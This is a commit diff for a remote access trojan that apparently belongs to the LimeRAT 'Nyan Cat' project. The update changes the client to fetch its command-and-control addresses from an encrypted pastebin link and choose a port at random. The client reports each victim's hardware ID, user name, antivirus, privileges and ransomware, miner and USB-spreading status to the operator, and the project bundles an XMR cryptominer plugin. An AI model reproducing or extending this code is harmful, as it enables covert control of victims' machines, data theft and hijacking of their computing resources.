UPDATE v0.1.8.5C

*Updated XMR miner (v2.8.3)
*Updated multi port -> example pastebin "127.0.0.1:8989:7878:5656"

Project/Client/C_Main.vb

@@ -1,5 +1,5 @@
 '##################################################################
-'##        N Y A N   C A T  |||   Updated on Sept/25/2018        ##
+'##        N Y A N   C A T  |||   Updated on Oct./20/2018        ##
 '##################################################################
 '##                                                              ##
 '##                                                              ##

Project/Client/C_TcpClient.vb

@@ -1,4 +1,6 @@
-Namespace Lime
+Imports System.Collections.Generic
+
+Namespace Lime
 
     Public Class C_TcpClient
         Public Shared ENDOF As String = C_Settings.ENDOF
@@ -10,6 +12,7 @@
         Public Shared MS As IO.MemoryStream = Nothing
         Public Shared Tick As System.Threading.Timer = Nothing
         Public Shared KA As Integer = 0
+        Public Shared P As New List(Of Integer)
 
         Public Shared Sub Connect()
 
@@ -93,24 +96,29 @@ re:
                 C_Settings.HOST = "127.0.0.1"
                 C_Settings.PORT = 8989
 #Else
+
                 Using WC As New Net.WebClient 'Pastebin, split by ":" IP:PORT
                     Try
                         Dim myCredentials As New Net.NetworkCredential("", "")
                         WC.Credentials = myCredentials
                         Dim Response As String = WC.DownloadString(C_Encryption.AES_Decrypt(C_Settings.Pastebin))
-                        C_Settings.HOST = Response.Split(":")(0)
-                        C_Settings.PORT = Response.Split(":")(1)
+                        ' Dim Response As String = WC.DownloadString((C_Settings.Pastebin))
+                        Dim SPL = Split(Response, ":")
+                        C_Settings.HOST = SPL(0)
+                        Dim r As New Random
+                        C_Settings.PORT = SPL(New Random().Next(1, SPL.Length))
                         WC.Dispose()
                     Catch ex As Exception
                     End Try
                 End Using
 
 #End If
+
                 C.Connect(C_Settings.HOST, C_Settings.PORT)
                 Alive = True
                 MS = New IO.MemoryStream
 
-                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.5B", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
+                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.5C", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
                                   C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, C_Settings.PORT, SPL, C_ID.dotNET, SPL, "...", SPL, " ", SPL,
                                   C_ID.Privileges.ToString, SPL, C_Settings.fullpath))
 

Project/Plugins/XMR/XMR.vbproj

@@ -96,10 +96,7 @@
     </None>
   </ItemGroup>
   <ItemGroup>
-    <None Include="Resources\xm.exe" />
-  </ItemGroup>
-  <ItemGroup>
-    <None Include="Resources\cpu.exe" />
+    <Folder Include="Resources\" />
   </ItemGroup>
   <Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
 </Project>

Project/Server/Classes/S_Settings.vb

@@ -3,7 +3,7 @@
     Public Shared PORT As New List(Of Integer)
     Public Shared EncryptionKey As String = Nothing
     Public Shared IP As String = Nothing
-    Public Shared StubVer As String = "v0.1.8.5B"
+    Public Shared StubVer As String = "v0.1.8.5C"
     Public Shared SPL As String = "|'L'|"
     Public Shared ENDOF As String = "|'N'|"
 

Project/Server/Forms/Intro.vb

@@ -46,6 +46,7 @@
                 STV("Read", "1")
             Catch : End Try
         End If
+
 #If DEBUG Then
         '  S_Settings.PORT = 8989
         S_Settings.EncryptionKey = "NYANCAT"
@@ -88,6 +89,14 @@
         Catch ex As Exception
         End Try
 
+        Try
+            If GTV("READPORTMSG") = Nothing Then
+                MsgBox("New PORT system. You need to create 1 pastebin and insert you ports like this  127.0.0.1:8989:7878:5656", MsgBoxStyle.Information)
+                STV("READPORTMSG", "1")
+            End If
+        Catch ex As Exception
+        End Try
+
     End Sub
 
     Private Sub MetroButton2_Click(sender As Object, e As EventArgs) Handles MetroButton2.Click

Project/Server/Forms/Main.vb

@@ -1,5 +1,5 @@
 '##################################################################
-'##        N Y A N   C A T  |||   Updated on Sept/25/2018        ##
+'##        N Y A N   C A T  |||   Updated on Oct./20/2018        ##
 '##################################################################
 '##                                                              ##
 '##                                                              ##